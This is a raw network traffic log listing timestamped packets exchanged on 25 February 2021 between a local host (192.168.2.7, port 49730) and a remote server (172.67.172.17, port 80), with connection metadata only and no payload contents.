Feb 25, 2021 15:15:49.406771898 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.406786919 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.406804085 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.406816959 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.406819105 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.406835079 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.406846046 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.406857967 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.406869888 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.406874895 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.406879902 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.406924963 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.406955957 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.407298088 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.407324076 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.407346964 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.407356977 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.407376051 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.407407045 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.407437086 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.407442093 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.407445908 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.407463074 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.407465935 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.407480955 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.407500029 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.407516003 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.407516956 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.407530069 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.407541990 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.407552004 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.407562017 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.407576084 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.407578945 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.407593966 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.407601118 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.407608986 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.407634020 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.407658100 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.412060022 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.412086964 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.412111044 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.412133932 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.412156105 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.412178040 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.412185907 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.412201881 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.412224054 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.412244081 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.412246943 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.412260056 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.412275076 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.412283897 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.412290096 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.412306070 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.412312984 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.412322044 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.412337065 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.412339926 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.412358046 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.412373066 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.412379026 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.412389040 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.412420988 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.412441969 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.412497997 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.412518024 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.412533045 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.412548065 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.412563086 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.412604094 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.412691116 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.412717104 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.412739992 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.412760973 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.412765980 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.412784100 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.412800074 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.412802935 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.412818909 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.412836075 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.412849903 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.412862062 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.412875891 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.412892103 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.412908077 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.412923098 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.412936926 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.412955999 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.413002968 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.413049936 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.413583994 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.413625002 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.413645029 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.413666010 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.413687944 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.413702965 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.413712025 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.413733006 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.413739920 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.413755894 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.413773060 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.413778067 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.413799047 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.413800001 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.413822889 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.413841963 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.413844109 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.413862944 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.413887024 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.413898945 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.413914919 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.413923979 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.413929939 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.413948059 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.413975000 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.414000988 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.414493084 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.414518118 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.414539099 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.414562941 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.414582014 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.414594889 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.414618969 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.414629936 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.414639950 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.414659977 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.414670944 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.414694071 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.414715052 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.414725065 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.414736032 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.414752960 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.414761066 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.414769888 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.414787054 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.414802074 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.414809942 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.414818048 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.414834023 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.414848089 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.414855957 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.414876938 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.414910078 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.415431976 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.415448904 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.415491104 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.417896032 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.417921066 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.417939901 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.417958021 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.417977095 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.417994976 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.417999983 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.418004036 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.418040037 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.418072939 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.421844959 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.421874046 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.421899080 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.421905041 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.421922922 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.421946049 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.421947002 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.421972990 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.421993017 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.422000885 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.422009945 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.422025919 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.422040939 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.422048092 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.422058105 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.422070980 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.422076941 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.422095060 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.422113895 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.422116041 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.422128916 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.422138929 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.422146082 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.422167063 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.422174931 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.422183990 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.422225952 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.422287941 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.422332048 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.422333956 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.422374010 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.422396898 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.422414064 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.422432899 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.422446966 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.422449112 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.422489882 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.422602892 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.422633886 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.422652960 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.422674894 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.422696114 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.422720909 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.422725916 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.422743082 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.422744989 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.422765970 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.422779083 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.422790051 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.422818899 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.422820091 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.422847986 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.422859907 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.422867060 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.422883034 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.422904968 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.422914028 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.422923088 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.422939062 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.422957897 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.422975063 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.423003912 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.423038006 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.423582077 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.423618078 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.423639059 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.423671961 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.423682928 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.423703909 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.423728943 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.423728943 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.423747063 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.423767090 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.423814058 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.423814058 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.423841000 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.423861980 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.423881054 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.423882008 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.423897982 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.423913002 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.423918962 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.423928022 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.423943996 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.423959017 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.423964977 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.423974991 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.424001932 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.424027920 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.424554110 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.424578905 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.424601078 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.424623966 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.424645901 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.424659014 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.424673080 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.424696922 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.424705982 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.424720049 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.424736023 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.424741983 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.424763918 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.424778938 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.424782991 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.424797058 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.424813986 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.424814939 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.424829006 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.424840927 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.424844980 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.424860001 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.424874067 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.424882889 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.424890041 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.424931049 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.425503016 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.425528049 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.425549030 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.425573111 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.425584078 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.425596952 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.425615072 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.425617933 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.425642014 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.425663948 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.425666094 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.425685883 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.425703049 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.425718069 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.425724030 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.425733089 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.425749063 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.425762892 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.425762892 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.425779104 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.425790071 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.425793886 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.425812006 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.425825119 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.425828934 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.425854921 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.425884008 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.426393032 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.426419020 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.426440954 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.426462889 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.426464081 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.426486015 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.426506042 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.426506996 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.426526070 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.426547050 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.426551104 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.426573992 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.426593065 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.426609039 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.426624060 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.426626921 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.426640034 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.426656008 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.426671028 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.426681042 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.426688910 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.426706076 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.426712036 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.426721096 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.426743984 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.426772118 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.427341938 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.427364111 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.427381992 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.427402020 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.427416086 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.427426100 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.427448034 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.427459002 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.427469015 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.427489996 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.427490950 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.427511930 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.427534103 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.427539110 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.427555084 CET	80	49730	172.67.172.17	192.168.2.7
